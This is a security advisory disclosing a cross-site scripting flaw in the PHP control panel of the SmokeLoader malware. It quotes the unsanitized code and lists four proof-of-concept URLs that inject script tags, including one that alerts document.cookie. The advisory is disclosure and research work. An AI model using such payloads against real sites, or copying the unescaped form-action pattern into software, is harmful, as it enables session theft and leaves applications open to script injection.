Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/4b5fc3a2489985f314b81d35eac3560f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Panel.SmokeLoader 
Vulnerability: Cross Site Scripting (XSS)
Family: SmokeLoader 
Type: Web Panel 
MD5: 4b5fc3a2489985f314b81d35eac3560f  (control.php)
SHA256: 8d02238577081be74b9ebc1effcfbf3452ffdb51f130398b5ab875b9bfe17743
Vuln ID: MVID-2024-0681
Disclosure: 05/11/2024
Description: The smokebot admin web panel is written in PHP for remote administration capability. The panel has multiple features like Bot List, Task List, Stealer, Miner, Email Grab, KeyLogger etc. The "control.php" PHP page contains an HTML FORM that uses $_SERVER["PHP_SELF"] for the form action method. This is a super global variable that returns the filename of the currently executing script. There is no secure coding practices of filtering input or sanitization of output e.g "htmlspecialchars()". Therefore, panel users who visit a third-party adversary website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the current user. This can result in data theft or GEO location disclosure of the user accessing the smokebot web interface.

PHP snippet.

if ($_GET["mode"] === "reports"){
   $url_pattern = $_GET["logs_sru"];
   $id_pattern = $_GET["logs_sri"];

$action = $_SERVER["PHP_SELF"]."?page=stealer&mode=reports";
%3Cform method=\"get\" action=\"{$action}\"%3E

Interestingly, they use PHP function htmlspecialchars() when retrieving data from the "smoke bot" MySQL database.

$r = mysqli_query($dbcon,"SELECT * FROM `stealer` WHERE `cname`='{$id}'");
   while ($v = mysqli_fetch_assoc($r)){
   $stealer_host = htmlspecialchars($v["host"]);

However, it doesn't wrap $_SERVER["PHP_SELF"] on the action method for the FORM {$action} variable that handles user input.

Exploit/PoC:
1) http://x.x.x.x/SmokeLoader/control1.php?page=stealer&mode=reports&logs_sri=%22/%3E%3Cscript%3Ewindow.open("https://malvuln.com")%3C/script%3E&logs_sru=&next=1
2) http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_sri=%22/%3E%3Cscript%3Ealert((document.cookie)%3C/script%3E
3) http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_sru=%22/%3E%3Cscript%3Ewindow.open('https://hyp3rlinx.altervista.org/')%3C/script%3E
4) http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_srd=%22/%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E


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